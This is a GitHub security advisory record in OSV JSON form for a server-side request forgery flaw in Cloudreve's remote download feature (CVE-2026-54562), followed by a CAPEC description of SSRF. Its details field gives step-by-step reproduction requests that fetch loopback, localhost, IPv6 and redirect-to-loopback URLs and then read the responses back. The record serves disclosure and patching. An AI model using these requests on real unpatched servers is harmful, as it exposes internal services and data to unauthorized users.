Cloudreve should reject remote download URLs that resolve to loopback, localhost, private network ranges, link-local ranges, metadata service ranges, or other internal-only targets unless explicitly allowed by an administrator.
Redirect targets should be checked with the same policy.
Actual behavior
Cloudreve accepts the URL, passes it to the downloader, imports the fetched internal response into the attacker's files, and allows the attacker to read it.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudreve/Cloudreve/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.0-20260606025411-aaebf317a78f"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudreve/Cloudreve/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.0.0-20250225100611-da4e44b77af4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54562"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T21:16:51Z",
"nvd_published_at": "2026-07-15T15:16:44Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nCloudreve\u0027s remote download workflow accepts user-supplied URLs and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets.\n\nWhen the remote download permission is granted to a non-admin user group, a normal authenticated user can make the server-side downloader fetch internal-only URLs and then read the fetched response after it is imported into the user\u0027s own Cloudreve files.\n\nThis does not affect default normal users unless the remote download permission is enabled for their group. However, the permission is a feature-level user-group capability and does not make the user an administrator.\n\n## Attacker requirements\n\nThe attacker must be:\n\n- authenticated\n- non-admin\n- in a user group where `GroupPermissionRemoteDownload` is enabled\n\nDefault normal users are blocked from the affected workflow. In the default install, only the admin group has the remote download permission, while the default `User` group does not.\n\n## Affected endpoint\n\n```http\nPOST /api/v4/workflow/download\n```\n\nFollow-up attacker readback was performed through normal workflow and file APIs:\n\n```http\nGET /api/v4/workflow?category=downloaded...\nGET /api/v4/file?uri=cloudreve://my...\nPOST /api/v4/file/url\n```\n\n## Root cause\n\nThe remote download workflow checks whether the user group has remote download permission, but it does not validate the submitted URL before passing it to the downloader.\n\nRelevant code paths:\n\n- `service/explorer/workflows.go:81`\n- `pkg/filemanager/workflows/remote_download.go:202`\n- `pkg/downloader/aria2/aria2.go:56`\n\nThe application does not block loopback, localhost, IPv6 localhost, or redirect targets resolving to internal addresses.\n\n## Impact\n\nA non-admin user with remote download permission can use Cloudreve as an SSRF primitive to access services reachable from the downloader environment.\n\nIn my test, the attacker could fetch internal loopback URLs and read the response body after Cloudreve imported the downloaded content into the attacker\u0027s own files.\n\nConfirmed targets:\n\n- `http://127.0.0.1:7777/secret2`\n- `http://localhost:7777/localsecret`\n- `http://[::1]:7780/v6secret`\n- redirect to `http://127.0.0.1:7777/redirsecret`\n\nThis can expose internal HTTP services, loopback-only admin panels, local service metadata, or other network resources that are not directly reachable by the attacker.\n\n## Reproduction\n\n### 1. Permission negative control\n\nThe attacker is a normal non-admin user in the default `User` group.\n\nBefore enabling remote download for the group:\n\n```http\nPOST /api/v4/workflow/download\nContent-Type: application/json\n\n{\"src\":[\"http://127.0.0.1:7777/secret\"],\"dst\":\"cloudreve://my\"}\n```\n\nResponse:\n\n```json\n{\"code\":40007,\"msg\":\"Group not allowed to download files\"}\n```\n\n### 2. Enable only remote download permission for the non-admin group\n\nThe default install grants remote download to the admin group only. The default `User` group does not have it.\n\nConfirmed in:\n\n- `inventory/migration.go:154`\n- `inventory/migration.go:179`\n\nFor this test, I only changed group 2 permissions from:\n\n```text\nhAg=\n```\n\nto:\n\n```text\nhAo=\n```\n\nThe attacker remained in the `User` group and was not made admin. `GET /api/v4/user/me` still returned the group name as `User`.\n\n### 3. Start an internal listener\n\nExample listener on the Cloudreve host:\n\n```text\n127.0.0.1:7777\n```\n\nThe listener returned a marker response:\n\n```text\nSSRF_SECRET_2_20260527\n```\n\n### 4. Queue a remote download to loopback\n\n```http\nPOST /api/v4/workflow/download\nContent-Type: application/json\n\n{\"src\":[\"http://127.0.0.1:7777/secret2\"],\"dst\":\"cloudreve://my\"}\n```\n\nResponse:\n\n```json\n{\"code\":0,\"data\":[{\"id\":\"OzH4\",\"status\":\"queued\",\"type\":\"remote_download\"}]}\n```\n\nThe internal listener received the request:\n\n```text\n127.0.0.1 - - [27/May/2026 13:00:46] \"GET /secret2 HTTP/1.1\" 200 -\n```\n\nAria2 completed the download:\n\n```text\nDownload complete: /home/b4r/cysec/cvehunting/cloudreve/data/temp/.../secret2\n```\n\n### 5. Read the imported internal response as the attacker\n\nThe task completed successfully:\n\n```json\n{\"id\":\"OzH4\",\"status\":\"completed\",\"summary\":{\"props\":{\"src_str\":\"http://127.0.0.1:7777/secret2\",\"failed\":0}}}\n```\n\nThe attacker could list the imported file:\n\n```json\n{\"name\":\"secret2\",\"path\":\"cloudreve://my/secret2\"}\n```\n\nThe attacker could then download and read the response body:\n\n```text\nSSRF_SECRET_2_20260527\n```\n\n## Additional validated variants\n\n### localhost\n\nInput:\n\n```text\nhttp://localhost:7777/localsecret\n```\n\nAttacker readback:\n\n```text\nLOCALHOST_SECRET_20260527\n```\n\n### Redirect to loopback\n\nInput:\n\n```text\nhttp://127.0.0.1:7779/anything\n```\n\nRedirect:\n\n```text\n302 Location: http://127.0.0.1:7777/redirsecret\n```\n\nAttacker readback:\n\n```text\nREDIR_SECRET_20260527\n```\n\n### IPv6 localhost\n\nInput:\n\n```text\nhttp://[::1]:7780/v6secret\n```\n\nAttacker readback:\n\n```text\nIPV6_SECRET_20260527\n```\n\n## Expected behavior\n\nCloudreve should reject remote download URLs that resolve to loopback, localhost, private network ranges, link-local ranges, metadata service ranges, or other internal-only targets unless explicitly allowed by an administrator.\n\nRedirect targets should be checked with the same policy.\n\n## Actual behavior\n\nCloudreve accepts the URL, passes it to the downloader, imports the fetched internal response into the attacker\u0027s files, and allows the attacker to read it.",
"id": "GHSA-x756-g4x3-c64m",
"modified": "2026-07-20T21:16:51Z",
"published": "2026-07-20T21:16:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-x756-g4x3-c64m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54562"
},
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/commit/aaebf317a78f2413d74afd66c21a1f3143711312"
},
{
"type": "PACKAGE",
"url": "https://github.com/cloudreve/cloudreve"
},
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/releases/tag/4.16.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Cloudreve: Non-admin remote download users can SSRF loopback/internal services and read imported responses"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.